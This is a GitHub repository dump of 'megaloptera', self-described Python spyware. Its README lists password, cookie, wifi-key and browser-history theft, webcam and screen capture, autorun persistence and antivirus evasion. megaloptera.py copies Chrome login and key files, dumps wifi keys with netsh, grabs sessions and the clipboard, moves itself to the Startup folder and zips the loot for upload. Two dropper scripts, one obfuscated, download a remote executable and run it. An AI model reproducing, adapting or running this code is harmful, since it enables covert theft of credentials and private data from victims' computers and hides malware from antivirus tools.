├── README.md ├── dropper.py ├── dropperObfuscate.py ├── information.txt ├── lisence ├── logs-version.txt ├── main.py ├── megaloptera.py ├── src └── dropper.py └── test ├── logs-version.txt └── megaloptera.exe /README.md: -------------------------------------------------------------------------------- 1 | # megaloptera V.1.2.5 (working on a new Versions more information down below) 2 | ## Description 3 | Megaloptera is an efficient spyware made with python that get a tons of informationon a target (check the features) that is barely undetectable by antiviruses. 4 | Is automate so you dont need to change it or to connect to anything, all information are regroup into a zip file and send into a dropbox. 5 | 6 | ## Disclaimer 7 | ### I will not be held responsible for any misuse of megaloptera, I made it for educational purposes and will not be held responsible for any use that goes against the law and/or ethics. 8 | ## Features 9 | - Location 10 | - Auto-run 11 | - Ip 12 | - All network information such as mac adress, dns 13 | - wifi password 14 | - google password 15 | - browser history 16 | - private navigation history 17 | - webcam shot 18 | - screenshots 19 | - cookie hijack 20 | - multipble information on the os 21 | - more browser information 22 | 23 | ## Installation 24 | ``` 25 | git clone https://github.com/LopoDistrict/megaloptera 26 | cd megaloptera 27 | pip install -r /path/to/requirements.txt 28 | or click on auto-install-lib 29 | ``` 30 | ## Usage 31 | 1. Open to megaloptera.py 32 | 2. Enter your evasion method (telegram, tunnel, server ...) 33 | 3. Now you can use dropper.py modify it then compile to exe 34 | 4. and the software is done 35 | 36 | ## AV escape and exe conversion 37 | The main problem of megaloptera is that he get flagged by few av on virus total, 38 | i recommand to firstly encrypt/obfucate the main scripts (https://pyob.oxyry.com/) then you can use 39 | Nuitka to convert it to exe. I dont recommand to use pyinstaller since av easly flagged the build as a virus even though some of them are not 40 | 41 | ## I am currently working on a new versions of megaloptera wich will be uploaded in few weeks (might be days if i dont sleep) 42 | ## features 43 | Megaloptera V2.0 will have the same features than the old one plus few ones: 44 | - ~~clipboard~~ 45 | - ~~cookies/session hijacking~~ 46 | - more precise location 47 | - ~~a POO program (wich is faster and make the code easier)~~ 48 | - ~~dropper for Antivirus bypass (a dropper is a program that is harmless cant be detected as a virus, then when executed it's downloading or building the virus in order to execute it)~~ 49 | - more features (i will add when i'll got an idea) 50 | 51 | ## new functionnality 52 | Megaloptera v2.0 will also let you choose if you want to transform the infected machine into a botnet in order to have control on it for later operation. 53 | Moreover, i will implement a new way to retrieve data from an infected computer, it will be from encrypted server (more details/explication later) 54 | -------------------------------------------------------------------------------- /dropper.py: -------------------------------------------------------------------------------- 1 | ###### 2 | #Author Lord District 3 | ###### 4 | import os 5 | import requests 6 | 7 | def launch(save_path): 8 | try: 9 | os.system(f"{save_path}") 10 | except: 11 | pass 12 | def download_file(url, save_directory): 13 | response = requests.get(url) 14 | if response.status_code == 200: 15 | file_name = url.split("/")[-1] 16 | save_path = os.path.join(save_directory, file_name) 17 | with open(save_path, 'wb') as file: 18 | file.write(response.content) 19 | launch(save_path) 20 | else: 21 | return None 22 | github_raw_url = "https://raw.githubusercontent.com/LopoDistrict/megaloptera/main/test/megaloptera.exe" 23 | 24 | save_path = os.getcwd() 25 | download_file(github_raw_url, save_path) -------------------------------------------------------------------------------- /dropperObfuscate.py: -------------------------------------------------------------------------------- 1 | import os #line:4 2 | import requests #line:5 3 | def launch (O0000O0OOO0000000 ):#line:7 4 | try :#line:8 5 | os .system (f"{O0000O0OOO0000000}")#line:9 6 | except :#line:10 7 | pass #line:11 8 | def download_file (OOOO00OO0O00OO000 ,O000O0OOOO00O0O0O ):#line:12 9 | OOO00O0O0O000OOO0 =requests .get (OOOO00OO0O00OO000 )#line:13 10 | if OOO00O0O0O000OOO0 .status_code ==200 :#line:14 11 | O0OOO000OOO0000O0 =OOOO00OO0O00OO000 .split ("/")[-1 ]#line:15 12 | O0OO000O0OO00O0O0 =os .path .join (O000O0OOOO00O0O0O ,O0OOO000OOO0000O0 )#line:16 13 | with open (O0OO000O0OO00O0O0 ,'wb')as O00OOOOOOOOOO0O00 :#line:17 14 | O00OOOOOOOOOO0O00 .write (OOO00O0O0O000OOO0 .content )#line:18 15 | launch (O0OO000O0OO00O0O0 )#line:19 16 | else :#line:20 17 | return None #line:21 18 | github_raw_url ="https://raw.githubusercontent.com/LopoDistrict/megaloptera/main/test/megaloptera.exe"#line:22 19 | save_path =os .getcwd ()#line:24 20 | download_file (github_raw_url ,save_path ) -------------------------------------------------------------------------------- /information.txt: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /lisence: -------------------------------------------------------------------------------- 1 | 2 | 3 | Copyright 2023 LopoDistrict 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 6 | 7 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 8 | 9 | THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 10 | -------------------------------------------------------------------------------- /logs-version.txt: -------------------------------------------------------------------------------- 1 | 0.0.1 - Mise enplace projet 2 | 0.0.2 - keylogger 3 | 0.0.3 - webcam photo 4 | 0.0.4 - screenshots 5 | 0.0.5 -ajout d'une UI 6 | 0.0.6 - redesign UI 7 | 0.0.7 - ajout socket server 8 | 0.0.8 - ip 9 | 0.0.9 - rework keylogger 10 | 0.1.0 - ajout de nouveau element ip 11 | 0.1.1 - rework convertfile 12 | 0.1.2 - ajout password google -------------------------------------------------------------------------------- /main.py: -------------------------------------------------------------------------------- 1 | import time 2 | import os 3 | import sys 4 | import pyautogui 5 | 6 | os.system("cls") 7 | 8 | pyautogui.hotkey('f11') 9 | 10 | time.sleep(1) 11 | print(""" 12 | 13 | .'. 14 | ..... ███╗ ███╗███████╗ ██████╗ █████╗ ██╗ ██████╗ ██████╗ ████████╗███████╗██████╗ █████╗ 15 | ... .. ████╗ ████║██╔════╝██╔════╝ ██╔══██╗██║ ██╔═══██╗██╔══██╗╚══██╔══╝██╔════╝██╔══██╗██╔══██╗ 16 | .. .. ██║╚██╔╝██║██╔══╝ ██║ ██║██╔══██║██║ ██║ ██║██╔═══╝ ██║ ██╔══╝ ██╔══██╗██╔══██║ 17 | ██║ ╚═╝ ██║███████╗╚██████╔╝██║ ██║███████╗╚██████╔╝██║ ██║ ███████╗██║ ██║██║ ██║ 18 | ... .. ╚═╝ ╚═╝╚══════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝ ╚═════╝ ╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝ 19 | .'. .. 20 | ....',,,''.... ',...... 21 | .,:c::::::;;;;::c:,'.. . 'lolcl, .....'''.. 22 | .,:ccc::;:;;,,;:ldxo:,'... ..coooo' . ...,:ccllcccloddol:' 23 | .';llcc:c:;::ccclddc;;:;,... ..'ldx:.. ...',;codxxddooollloxxxxdc. 24 | .';:cllllllllclll:;;:c:;;,''.;ldkc.....,;:clcldkkkxddddddddddxdl:' 25 | .',:clodddollccclccllloollodxl;:cccllloooxkOOOkOOkkxxdlc;'. 26 | ..';;;;;:ccldxxxdoooolcclloddodxxxoddddxdodddxOOOOxoc;''... 27 | .cddoc::cllllooddolllllloolloxxxxxxooodddxxkOO000Okdl:;,'.'.. 28 | .:lolcclllllooooc::::cloodddlllloolclddddxkkkOO00OOOOkxolccllc;. 29 | .',:ccloooolc:;:::codoodxl;'.,;;,cdxkkxxxxkO0000OOkkkxolcoddo;. 30 | ...''''''',:clodddxxoc,..,;. :xdxxxkkkxxkOOOOOOOkkxdoolc;'. 31 | ...',','... .:' ...,,,;:cc::;,,;;::;;,'... 32 | .. 'c. .. 33 | . .;o' . 34 | .;;. 35 | . 36 | """) 37 | 38 | time.sleep(0.5) 39 | choice = input("Have you modified the api key (Y/N)?") 40 | if choice == "Y": 41 | os.system("pyinstaller megaloptera.py") 42 | else: 43 | print("go see this github") 44 | 45 | -------------------------------------------------------------------------------- /megaloptera.py: -------------------------------------------------------------------------------- 1 | ######## 2 | #AUTHOR : District 3 | ####### 4 | from mss import mss 5 | from requests import get 6 | import shutil 7 | import sys 8 | import os 9 | import browserhistory as bh 10 | import subprocess 11 | import pyperclip 12 | import zipfile 13 | 14 | #V.1.2.3 15 | class Sp: 16 | def __init__(self, t): 17 | self.t = t 18 | self.c = 0 19 | self.file = [] 20 | 21 | def evasion(self): ###evasion is not done yet 22 | r = requests.post(url="https://tmpfiles.org/api/v1/upload", data="file=/meme2.png") 23 | response = r.text 24 | print("url %s" % response ) 25 | os.remove("windows.zip") 26 | #password() 27 | 28 | c_locate_folder = os.path.normpath(r"%s\AppData\Local\Google\Chrome\User Data\Local State"%(os.environ['USERPROFILE'])) 29 | p_locate_folder = os.path.normpath(r"%s\AppData\Local\Google\Chrome\User Data\Default\Login Data"%(os.environ['USERPROFILE'])) 30 | destination_folder = os.path.normpath(r"%s\AppData\Local\Google\Chrome\User Data \Default \Cache"%(os.environ['USERPROFILE'])) 31 | path1 = os.path.normpath(r"%s\AppData\Local\Google\Chrome\User Data\Default\Sessions" % os.environ['USERPROFILE']) 32 | path2 = os.path.normpath(r"%s\AppData\Local\Google\Chrome\User Data\Default\Network" % os.environ['USERPROFILE']) 33 | 34 | auto_run_path = os.path.normpath(r"%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"%(os.environ['USERPROFILE'])) 35 | 36 | def auto_run(self): 37 | shutil.move("megaloptera.py", auto_run_path) 38 | self.password() 39 | 40 | 41 | def convert_file(self): 42 | print("self.file", self.file) 43 | files = zipfile.ZipFile('windows.zip', 'w') 44 | for i in range(len(self.file)): 45 | 46 | files.write(self.file[i]) 47 | os.remove(self.file[i]) 48 | files.close() 49 | #evasion() 50 | 51 | 52 | def sessions(self, pathS): 53 | print("launching sessions") 54 | self.c +=1 55 | print(self.c) 56 | try: 57 | print(pathS) 58 | with open("session.txt", 'a', errors="ignore") as sessionTxt: 59 | for root, dirs, files in os.walk(pathS): 60 | for filename in files: 61 | try: 62 | with open(os.path.join(root, filename), "r", errors="ignore") as fileSessions: 63 | file_data = fileSessions.read() 64 | sessionTxt.write(file_data) 65 | if "session.txt" not in self.file: 66 | self.file.append("session.txt") 67 | 68 | except Exception as e: 69 | print(f"Error reading file: {os.path.join(root, filename)} - {e}") 70 | except Exception as e: 71 | print(f"Error: {e}") 72 | if self.c >= 2: 73 | self.wifi_password() 74 | 75 | 76 | 77 | def ip(self): 78 | print("launching ip") 79 | try: 80 | ip = get(f'https://api.ipify.org/?format=json') 81 | os.system("ipconfig /all > output.txt") 82 | file_ip = open("test_ip.txt", "w", encoding='utf-8') 83 | file_ip.write(str(ip.json())) 84 | file_ip.close() 85 | self.file.append("output.txt") 86 | self.file.append("test_ip.txt") 87 | except: 88 | pass 89 | self.screenshots() 90 | 91 | 92 | def webcam(self): ### not working anymore 93 | print("launching webcam") 94 | try: 95 | ec.capture(0,"frame", "outputImage.jpg") 96 | 97 | except: 98 | print("failed") 99 | pass 100 | #browser() 101 | 102 | def screenshots(self): 103 | print("launching password") 104 | try: 105 | output_file = 'screenshots.jpg' 106 | with mss() as sct: 107 | sct.shot( output=output_file) 108 | self.file.append("screenshots.jpg") 109 | except: 110 | 111 | pass 112 | self.browser() 113 | 114 | 115 | def password(self): 116 | print("launching password") 117 | try: 118 | try: 119 | with open(p_locate_folder,'r', encoding="utf8", errors="ignore") as text: 120 | crypt = text.read().rstrip('\n') 121 | with open(r"password.txt", 'w',encoding="utf-8" ,errors="ignore") as f: 122 | f.write(crypt) 123 | text.close() 124 | f.close() 125 | self.file.append("password.txt") 126 | 127 | except: 128 | pass 129 | 130 | try: 131 | with open(c_locate_folder, 'r') as file: 132 | data = file.read().rstrip('\n') 133 | with open(r"crypt.txt","w" ,encoding = 'utf-8') as p: 134 | p.write(data) 135 | file.close() 136 | p.close() 137 | self.file.append("crypt.txt") 138 | 139 | except: 140 | pass 141 | except: 142 | pass 143 | self.ip() 144 | 145 | def location(self): 146 | try: 147 | geoloc = get(f'http://ip-api.com/json') 148 | file = open('location.txt', 'w', encoding='utf-8') 149 | file.write(str(geoloc.json())) 150 | file.close() 151 | self.file.append("location.txt") 152 | except: 153 | pass 154 | self.convert_file() 155 | 156 | 157 | def wifi_password(self): 158 | with open('wifi-password.txt', 'a') as wifile: 159 | data = subprocess.check_output(['netsh', 'wlan', 'show', 'profiles']).decode('utf-8', errors="backslashreplace").split('\n') 160 | profiles = [i.split(":")[1][1:-1] for i in data if "Profil Tous les utilisateurs" in i] 161 | 162 | for i in profiles: 163 | try: 164 | results = subprocess.check_output(['netsh', 'wlan', 'show', 'profile', i, 'key=clear']).decode('utf-8', errors="backslashreplace").split('\n') 165 | results = [b.split(":")[1][1:-1] for b in results if "Contenu de la cl" in b] 166 | try: 167 | value = str("{:<30}| {:<}".format(i, results[0])) 168 | wifile.write(value) 169 | wifile.write('\n') 170 | except IndexError: 171 | pass 172 | except subprocess.CalledProcessError: 173 | pass 174 | self.file.append("wifi-password.txt") 175 | self.location() 176 | 177 | 178 | def clipboard(self): 179 | try: 180 | with open("paper.log", "a") as clipfile: 181 | text = pyperclip.paste() 182 | clipfile.write("last data copied: ", text) 183 | except: 184 | pass 185 | self.sessions(self.path1) 186 | self.sessions(self.path2) 187 | 188 | 189 | def computer_info(self): 190 | try: 191 | cmd = os.system("whoami > who.txt") 192 | cmd = os.system("systeminfo > sys.txt") 193 | cmd = os.system("netstat -a > net.txt") 194 | cmd = os.system("getmac > mac.txt") 195 | self.file.extend(["who.txt", "sys.txt", "net.txt", "mac.txt"]) 196 | except: 197 | pass 198 | self.clipboard() 199 | 200 | def browser(self): 201 | try: 202 | browser_history = [] 203 | bh_user = bh.get_username() 204 | db_path = bh.get_database_paths() 205 | hist = bh.get_browserhistory() 206 | browser_history.extend((bh_user, db_path, hist)) 207 | with open( 'browser.txt', 'a') as browser_txt: 208 | browser_txt.write(str(browser_history)) 209 | os.system("ipconfig/displaydns > dns.txt") 210 | self.file.append("dns.txt") 211 | 212 | except: 213 | print("error") 214 | 215 | self.computer_info() 216 | 217 | 218 | l = Sp(30) 219 | l.password() 220 | -------------------------------------------------------------------------------- /src/dropper.py: -------------------------------------------------------------------------------- 1 | ###### 2 | #Author Lord District 3 | ###### 4 | 5 | 6 | import os 7 | import requests 8 | import subprocess 9 | 10 | def launch(save_path): 11 | print(save_path) 12 | try: 13 | os.system(f"{save_path}") 14 | 15 | except: 16 | print("error") 17 | 18 | 19 | 20 | def download_file(url, save_directory): 21 | response = requests.get(url) 22 | if response.status_code == 200: 23 | file_name = url.split("/")[-1] 24 | save_path = os.path.join(save_directory, file_name) 25 | with open(save_path, 'wb') as file: 26 | file.write(response.content) 27 | print("File downloaded successfully.") 28 | 29 | launch(save_path) 30 | else: 31 | print(f"Failed to download file. Status code: {response.status_code}") 32 | return None 33 | 34 | 35 | 36 | # Example usage: 37 | github_raw_url = "https://raw.githubusercontent.com/LopoDistrict/megaloptera/main/test/v3.2.2.exe" 38 | 39 | save_path = "test" 40 | download_file(github_raw_url, save_path) -------------------------------------------------------------------------------- /test/logs-version.txt: -------------------------------------------------------------------------------- 1 | 0.0.1 - Mise enplace projet 2 | 0.0.2 - keylogger 3 | 0.0.3 - webcam photo 4 | 0.0.4 - screenshots 5 | 0.0.5 -ajout d'une UI 6 | 0.0.6 - redesign UI 7 | 0.0.7 - ajout socket server 8 | 0.0.8 - ip 9 | 0.0.9 - rework keylogger 10 | 0.1.0 - ajout de nouveau element ip 11 | 0.1.1 - rework convertfile 12 | 0.1.2 - ajout password google -------------------------------------------------------------------------------- /test/megaloptera.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Komodo-source/megaloptera/a2a5fb224a4ef26b072fb24c176887e44eed0e78/test/megaloptera.exe --------------------------------------------------------------------------------